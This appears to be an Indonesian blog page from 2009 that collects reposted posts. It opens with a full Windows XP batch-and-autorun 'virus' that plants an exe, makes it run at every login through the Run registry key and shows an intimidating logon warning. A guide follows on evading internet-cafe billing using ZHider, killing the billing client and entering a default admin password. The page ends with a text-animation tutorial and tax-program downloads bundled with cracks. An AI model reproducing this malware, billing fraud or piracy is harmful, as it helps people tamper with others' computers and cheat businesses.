Selasa, 04 Agustus 2009

Cara Buat Virus Sederhana Dari Notepad

2007 Nopember 26
by echo

1 Votes

ni virus efeknya g t’lalu bahaya….efek dari virus ini cuman mengganti tampilan dari
windows…..tapi cukup bikin kaget juga!!! tapi yg penting gak ke-detect ama anti virus(setahu saya….. )

ni ane dapet dari hasil baca-baca “HELP”-nya windows Xp…trus ane modif sendiri…

note: “HANYA BEKERJA PADA WINDOWS XP”

caranya:
- buka notepad lalu tulis(atau copy paste…tapi di edit dulu yaaa… ) script di bawah ini:

@echo off
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\system32\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\system32\ /y
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeCaption /d “WARNING MESSAGE FROM LOCAL_HOST(judul title bar)” /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “I HAVE RUINED YOUR COMPUTER AND YOUR COMPUTER IS LOCKED(pesan pembuat)” /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v WallpaperStyle /d 0 /f
reg add “HKEY_USERS\.DEFAULT\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v nama_terserah /d %systemdrive%\windows\system32\nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe /f
reg add “HKEY_CURRENT_USER/Control Panel/Colors” /v window /d #000000(atau kombinasi warna RGB lain,cari pake Adobe Photoshop) /f

- lalu di SAVE AS ALL FILES dengan exstensi .bat (nama_file.bat)
- buat Autorun.inf dengan script:

[autorun]
open=nama_file.bat

- lalu SAVE AS ALL FILES dengan exstensi .inf (Autorun.inf)
- file-file tersebut harus dalam 1 direktori, lalu seleksi file-file tsb klik kanan PROPERTIES beri tanda check pada HIDDEN dan READ-ONLY
- copy file-file tsb ke CD
- nikmati efeknya

note:
- jangan disalahgunakan
- maaf kalau pernah diposting
- maaf lagi kalau salah tempat untuk posting,….maklum member baru and masih amatir ….
- lagi-lagi maaf kalau ada yang salah, and mohon dikoreksi ….
- kalau mau buat anti virusnya tinggal di modifikasi nilainya….

Cara Hacking di Warnet

=====DARI GRUP HACKER DAN CRACKER INDONESIA=====

bahan2 harus disiapkan:

1. Program ZHider.
2. Muka bego
3. Mental yang kuat

Langkah-langkahnya:

01. Masuk warnet dan pasang muka bego biar ga dicurigai operator
02. Pastikan selain box/bilik yang kita tempati masih ada box lain yang kosong. Biar ga dicurigai juga sih.
03. Usahakan cari tempat yang jauh dari op, supaya ga ketahuan box kamu kosong apa nggak.
04. Nyalakan kompi dihadapan anda bila masih dalam keadaan mati.
05. Saat masuk login screen, login aja seperti biasa.
06. Jalankan ZHider yang sudah disiapkan di disket/flashdisk. Kalo belom ada, cari aja pake google.
07. Setelah ZHider dijalankan langsung aja logout.
08. Naah, di login screen ini kita mulai aksi mendebarkan kita. Tekan Ctrl+Alt+Z.. Jreeeng, login screen telah menghilang !!!
09. Browsinglah sepuasnya, tapi tetap pastikan ada box lain yang kosong. Kan aneh kalau ada yang masuk warnet, dia lihat udah penuh. Padahal di billing server kelihatan masih ada yang belum login.
10. Kalo sudah puass tekan Ctrl+Alt+X untuk memunculkan kembali login screen yang menghilang entah kemana
11. Login seperti biasa dan browsing beberapa menit sampai penunjuk tarif sampai ke angka yang kita kehendaki. Ini supaya ga dicurigai.
12. Logout. SIapkan muka bego, lalu bayar tarif.

Cara ini lebih mudah dilalukan bila si operator ga terlalu kenal sama kamu. Apalagi bila si op sering keluyuran.

Ini beberapa hotkey ZHider yang bisa digunakan, untuk hotkey lainnya silakan baca file readme yang disertakan bersama zhider

CTRL+ALT+Z Menyembunyikan jendela aktif

CTRL+ALT+X Menampilkan kembali semua jendela yang disembunyikan

CTRL+ALT+L Menampilkan dialog zhider

CTRL+ALT+M Menampilkan kembali semua jendela yang disembunyikan, dan juga menutup zhider.

Cara 2:

Nyalain kompi .Setelah loading windows tekan tahan Ctrl+Alt+Del sebelum keluar jendela billing(harus cepet coz jendela billing muncul hanya 2 detik setelah loading windows). Setelah kluar task manager klik [ End Task ] pada aplikasi [ client 008 ].

Cara 3:

Menggunakan software Billing Hack(bisa download di www.vb-bego.com). Software ini bahkan bisa mereset time billing.
Bisa juga sebelum nyalain kompi cabut kabel LAN di belakang CPU. Biar gak terlalu mencurigakan, cabut kabelnya sambil pura-pura pasang USB ato Flash Disk (sambil nyelam mancing ikan gitu deh pepatahnya).Trus nyalain kompi tunggu sampai jendela billing keluar. Klik Admin masukkan password default008. Trus di Exit Client&Password masukkan juga password 008. Abis tu, setelah muncul kotak yang terakhir cari tanda ****** yang letaknya paling bawah kiri, delet tanda tsb dan terakhir klik Exit Client yang terletak di sebelah kanan tanda yang telah kita hapus tadi. Jadi deh….

Kalo semua cara di atas ga bisa dilakuin, hentikanlah usahamu. Sesungguhnya perbuatan jahatmu tidak diridhoi Tuhan Kalo ketahuan langsung pertebal [muka bego-mu]. Misalnya bilang… Eh, kok jadi gini ya? Kemaren ga gini kok. Ato kata-kata lain, tergantung kreatifitas kamu.

Selasa, 28 Juli 2009

Program Aplikasi Membuat Animasi Teks dengan cepat

Membuat Animasi Teks Dengan Cepat

Posted by intrik on April 29, 2007

Kali ini kita akan mencoba membuat sebuah animasi teks dengan cepat. Teks yang nanti kita buat akan menjadi sebuah animasi yang bisa bergerak dari kiri ke kanan atau bergerak seperti gelombang dan efek lainnya. Nah, untuk membuat animasi teks tersebut diperlukan sebuah software (perangkat lunak) yang sudah terpasang (di install) di komputer. Salah satu software yang mudah penggunaannya saat ini adalah “Swish”.

Tampilan awal ‘Swish’ :

Swish sangat bagus untuk membuat animasi-animasi teks dari yang sederhana sampai animasi teks yang cukup sulit. Pada software ini juga telah disediakan efek-efek animasi teks sehingga kita tidak perlu repot-repot membuat efek-efek tulisan dengan script/program lainnya.

Lembar kerja Swish :

Bagi rekan-rekan yang belum mempunyai software tersebut bisa memperolehnya melalui internet di website http://www.swishzone.com dan coba download software tersebut. Tetapi, biasanya software yang bisa di download hanya versi shareware, artinya software ini hanya dapat dijalankan dengan batasan waktu yang telah ditentukan oleh pembuat software. Biasanya antara 15 – 30 hari.

Nah, sekarang coba kita buat bersama animasi teks sederhana, caranya seperti di bawah ini :

  1. Tentukan besar “Movie” pada scene 1 dengan besar Width = 200, Height = 100
  2. Klik tombol “Insert Text” atau bisa juga melalui menu Insert kemudian klik text
  3. Pilih jenis teks dan besar teks. (Default jenis teksnya adalah Arial dan besarnya 36 pixel)
  4. Klik tombol Color jika kita ingin merubah warna teks.
  5. Klik teks yang berada di scene 1, kemudian klik kanan mouse. Atau bisa juga dengan mengklik menu insert kemudian pilih Effects
  6. Pilih Effect maka akan muncul berbagai efek teks yang dapat kita gunakan.
  7. Pilih efek “3D Spin”
  8. Jalankan animasi dengan mengklik tombol Play
    Sudah jadi bukan?
  9. Jika ingin menyimpan animasi teks yang baru kita buat, pilih menu File kemudian klik Save / Save As. Default file yang di simpan adalah Swish Movie (swi)
  10. Jika ingin menyimpan dalam bentuk swf (flash), pilih File kemudian klik Export dan klik ‘Swf’

Untuk merubah efek teks / menambahkannya cukup dengan mengklik mouse kanan dan merubah default yang ada pada tampilan efek teks.

Jika contoh di atas sudah bisa dibuat, kamu bisa mencoba membuat efek tulisan lain dan juga bisa membuat animasi yang lebih rumit dengan menggunakan ’script’ tambahan yang sudah diesdiakan.
Selamat mencoba !

Posted in Program Aplikasi | Leave a Comment »

02.15.07 Program Perhitungan Pajak

Posted by intrik on April 26, 2007

Anda mencari Program Untuk menghitung Pajak Penambahan Nilai (PPN) atau Program menghitung Pungutan Pajak Penghasilan (PPh) anda dapat men-download program-program ini yang dibuat oleh lembaga Pajak Indonesia di situs ini.

Menurut Wikipedia Pajak Penghasilan adalah

Pajak Penghasilan di Indonesia

Sejarah pengenaan Pajak Penghasilan di Indonesia dimulai dengan adanya tenement tax (huistaks) pada tahun 1816, yakni sejenis pajak yang dikenakan sebagai sewa terhadap mereka yang menggunakan bumi sebagai tempat berdirinya rumah atau bangunan. Pada periode sampai dengan tuhun 1908 terdapat perbedaan perlakuan perpajakan antara penduduk pribumi dengan orang Asia dan orang Eropa, dengan kata lain dapat dikatakan, bahwa terdapat banyak perbedaan dan tidak ada uniformitas dalam perlakuan perpajakan Tercatat beberapa jenis pajak yang hanya diperlakukan kepada orang Eropa seperti “patent duty”. sebaliknya business tax atau bedrijfsbelasting untuk orang pribumi. Di samping itu, sejak tahun 1882 sampai tahun 1916 dikenal adanya Poll Tax yang pengenaannya berdasarkan status pribadi, pemilikan rumah dan tanah.

Pada tahun 1908 terdapat Ordonansi Pajak Pendapatan yang diperlakukan untuk orang Eropa, dan badan-badan yang melakukan usaha bisnis tanpa memperhatikan kebangsaan pemegang sahamnya. Dasar pengenaan pajaknya penghasilan yang berasal dari barang bergerak maupun barang tak gerak, penghasilan dari usaha, penghasilan pejabat pemerintah, pensiun dan pembayaran berkala. Tarifnya bersifat proporsional dari 1%, 2% dan 3% atas dasar kriteria tertentu.

Selanjutnya, tahun 1920 dianggap sebagai tahun unifikasi, dimana dualistik yang selama ini ada, dihilangkan dengan diperkenalkannya General Income Tax yakni Ordonansi Pajak Pendapatan Yang Dibaharui tahun 1920 (Ordonantie op de Herziene Inkomstenbelasting 1920, Staatsblad 1920 1921, No.312) yang berlaku baik bagi penduduk pribumi, orang Asia maupun orang Eropa. Dalam Ordonansi Pajak Pendapatan ini telah diterapkan asas-asas pajak penghasilan yakni asas keadilan domisili dan [[asas sumber]].

Karena desakan kebutuhan dengan makin banyaknya perusahaan yang didirikan di Indonesia seperti perkebunan-perkebunan (ondememing), pada tahun 1925 ditetapkanlah Ordonansi Pajak Perseroan tahun 1925 (Ordonantie op de Vennootschapbelasting) yakni pajak yang dikenakan tethadap laba perseroan, yang terkenal dengan nama PPs (Pajak Perseroan). Ordonansi ini telah mengalami beberapa kali perubahan dan penyempurnaan antara lain dengan UU No. 8 tahun 1967 tentang Psnibahan dan Penyempurnaan Tatacara Pcmungiitan Pajak Pendapatan 1944, Pajak Kekayaan 1932 dan Pajak Perseroan tahun 1925 yang dalam praktck lebih dikenal dengan UU MPO dan MPS. Perubahan penting lainnya adalah dengan UU No. 8 tahun 1970 dimana fungsi pajak mengatur/regulerend dimasukkan ke dalam Ordonansi PPs 1925., khususnya tentang ketentuan “tax holiday“. Ordonasi PPs 1925 berlaku sampai dengan tanggal 31 Desember 1983, yakni pada saat diadakannya tax reform, Pada awal tahun 1925-an yakni dengan mulai berlakunya Ordonansi Pajak Perseroan 1925 dan dengan perkembangan pajak pendapatan di Negeri Belanda, maka timbul kebutuhan untuk merevisi Ordonansi Pajak Pendapatan 1920, yakni dengan ditetapkannnya Ordonasi Pajak Pendapatan tahun 1932 (Ordonantie op de Incomstenbelasting 1932, Staatsblad 1932, No.111) yang dikenakan kepada orang pribadi (Personal Income Tax). Asas-asas pajak penghasilan telah diterapkan kepada penduduk Indonesia; kepada bukan penduduk Indonesia hanya dikenakan pajak atas penghasilan yang dihasilkannnya di Indonesia; Ordonansi ini juga telah mengenal asas sumber dan asas domisili.

Dengan makin banyak perusahaan-perusahaan di Indonesia, maka kebutuhan akan mengenakan pajak terhadap pendapatan karyawan perusahaan muncul. Maka pada tahun 1935 ditetapkanlah Ordonansi Pajak Pajak Upah (loonbelasting) yang memberi kewajiban kepada majikan untuk memotong Pajak Upah/gaji pegawai yang mempunyai tarif progresif dari 0% sampai dengan 15%. Pada zaman Perang Dunia II diperlakukan Oorlogsbelasting (Pajak Perang) menggantikan ordonansi yang ada dan pada tahun 1946 diganti dengan nama Overgangsbelasting (Pajak Peralihan). Dengan UU Nomor 21 tahun 1957 nama Pajak Peralihan diganti dengan nama Pajak Pendapatan tahun 1944 yang disingkat dengan Ord. PPd. 1944. Pajak Pendapatan sendiri disingkat dengan PPd. Saja. Ord. PPd. 1944 setelah beberapa kali mengalami perubahan terutama dengan perubahan tahun 1968 yakni dengan adanya UU No. 8 tahun 1968 tentang Perubahan dan Penyempurnaan Tatacara Pemungutan Pajak Pendapatan 1944, Pajak Kekayaan 1932 dan Pajak Perseroan 1925, yang lebih terkenal dengan “UU MPO dan MPS”. Perubahan lainnya adalah dengan UU No. 9 tahun 1970 yang berlaku sampai dengan tanggal 31 Desember 1983, yakni dengan diadakannya tax reform di Indonesia.

Obyek Pajak Penghasilan

Yang menjadi Objek Pajak adalah penghasilan yaitu setiap Tambahan Kemampuan Ekonomis yang diterima atau diperoleh Wajib Pajak, baik yang berasal dari Indonesia maupun dari luar Indonesia, yang dapat dipakai untuk konsumsi atau untuk menambah kekayaan Wajib Pajak yang bersangkutan, dengan nama dan dalam bentuk apapun.

Undang-undang Pajak Penghasilan Indonesia menganut prinsip pemajakan atas penghasilan dalam pengertian yang luas, yaitu bahwa pajak dikenakan atas setiap tambahan kemampuan ekonomis yang Diterima atau Diperoleh Wajib Pajak dari manapun asalnya yang dapat dipergunakan untuk konsumsi atau menambah kekayaan Wajib Pajak tersebut.

Pengertian penghasilan dalam Undang-undang PPh tidak memperhatikan adanya penghasilan dari sumber tertentu, tetapi pada adanya tambahan kemampuan ekonomis. Tambahan kemampuan ekonomis yang diterima atau diperoleh Wajib Pajak merupakan ukuran terbaik mengenai kemampuan Wajib Pajak tersebut untuk ikut bersama-sama memikul biaya yang diperlukan pemerintah untuk kegiatan rutin dan pembangunan.

Dilihat dari penggunaannya, penghasilan dapat dipakai untuk konsumsi dan dapat pula ditabung untuk menambah kekayaan Wajib Pajak.

Karena Undang-undang PPh menganut pengertian penghasilan yang luas maka semua jenis penghasilan yang diterima atau diperoleh dalam suatu tahun pajak digabungkan untuk mendapatkan dasar pengenaan pajak. Dengan demikian, apabila dalam satu Tahun Pajak suatu usaha atau kegiatan menderita kerugian, maka kerugian tersebut dikompensasikan dengan penghasilan lainnya (Kompensasi Horisontal), kecuali kerugian yang diderita di luar negeri. Namun demikian, apabila suatu jenis penghasilan dikenakan pajak dengan tarif yang bersifat final atau dikecualikan dari Objek Pajak, maka penghasilan tersebut tidak boleh digabungkan dengan penghasilan lain yang dikenakan tarif umum.

Menurut Wikipedia Pajak pertambahan nilai (PPN) adalah pajak yang dikenakan atas setiap pertambahan nilai dari barang atau jasa dalam peredarannya dari produsen ke konsumen. Dalam bahasa Inggris, pajak ini disebut “value added tax” (VAT) atau “goods and services tax” (GST). PPN termasuk jenis pajak tak langsung, yang artinya bahwa pajak tersebut disetor oleh pihak lain (pedagang) yang bukan penanggung pajak, atau dengan kata lain, penanggung pajak (konsumen akhir) tidak menyetorkan langsung pajak yang ia tanggung.

Mekanisme pemungutan, penyetoran dan pelaporan PPN ada pada pedagang/produsen (Pengusaha Kena Pajak/PKP). Dalam perhitungan PPN yang harus disetor oleh PKP dikenal istilah Pajak Keluaran dan Pajak Masukan. Pajak Keluaran adalah PPN yang dipungut ketika PKP menjual produknya, sedangkan Pajak Masukan adalah PPN yang dibayar ketika PKP membeli/memperoleh/membuat produknya.

Indonesia menganut sistem tarif tunggal untuk PPN; yaitu sebesar 10 persen. Dasar hukum utama yang digunakan untuk penerapan PPN di Indonesia adalah Undang-Undang Nomor 8 Tahun 1983 berikut revisinya, yaitu UU No.11/1994 sebagaimana diubah terakhir dengan UU No.18/2000.

Untuk mendownload gunakan link dibawah ini :

Download Program PPH Massa 20 PPHMASA20.zip dan Jamunya (Crack) Download disini

Download Program PPN PPN11072612.zip dan Jamunya Download disini

Download pop200612.rar

Cara Instalasi

Anda Download Program terlebih dahulu, kemudian install di Komputer anda. Setelah instalasi selesai Jalankan Jamunya